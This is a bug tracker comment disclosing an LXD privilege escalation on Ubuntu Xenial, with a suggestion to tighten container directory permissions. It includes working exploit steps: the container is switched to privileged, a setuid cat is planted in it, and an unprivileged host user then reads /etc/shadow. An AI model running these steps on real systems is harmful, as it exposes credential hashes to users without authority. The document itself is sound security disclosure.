Comment 6 for bug 1584230

On Sat, May 21, 2016 at 12:13:30PM -0000, Stéphane Graber wrote:
> Hmm, the code seems to disagree with you.
>
> /var/lib/lxd/containers is 711 which allows traversal but not direct
> access. Then the container itself (or its rootfs) is 700 if the
> container is privileged, 711 otherwise which would only allow traversal
> to a given file if the container is unprivileged in which case, setuid
> doesn't apply.

This seems to be the case but seems trivial to work around. Privilege
escalation exploit below, tested on current Xenial. Looks like you don't
fix the permissions when going from unprivileged to privileged, which a
normal user (lxd group?) can do.

I would suggest that zfs.image and container or rootfs should always
be 6x0/7x0. It's surprising to me that it isn't. Even if unprivileged
setuid isn't exploitable, it is surprising to me that one user can see
inside another user's container subject to the guest's filesystem
permissions.

Exploit:

sudo apt-get update && sudo eatmydata apt-get -y dist-upgrade
sudo reboot
sudo eatmydata apt-get install zfsutils-linux
sudo lxd init

Name of the storage backend to use (dir or zfs): zfs
Create a new ZFS pool (yes/no)? yes
Name of the new ZFS pool: lxd
Would you like to use an existing block device (yes/no)? no
Size in GB of the new loop device (1GB minimum): 8
Would you like LXD to be available over the network (yes/no)? no
Do you want to configure the LXD bridge (yes/no)? no
LXD has been successfully configured.

lxc launch ubuntu:xenial guest
lxc config set guest security.privileged true
lxc stop guest
lxc start guest
lxc exec guest chmod 4755 /bin/cat

$ echo $UID
1000
$ cat /etc/shadow
cat: /etc/shadow: Permission denied
$ /var/lib/lxd/containers/guest/rootfs/bin/cat /etc/shadow
root:*:16911:0:99999:7:::
...
$ dpkg-query -W lxd
lxd 2.0.0-0ubuntu4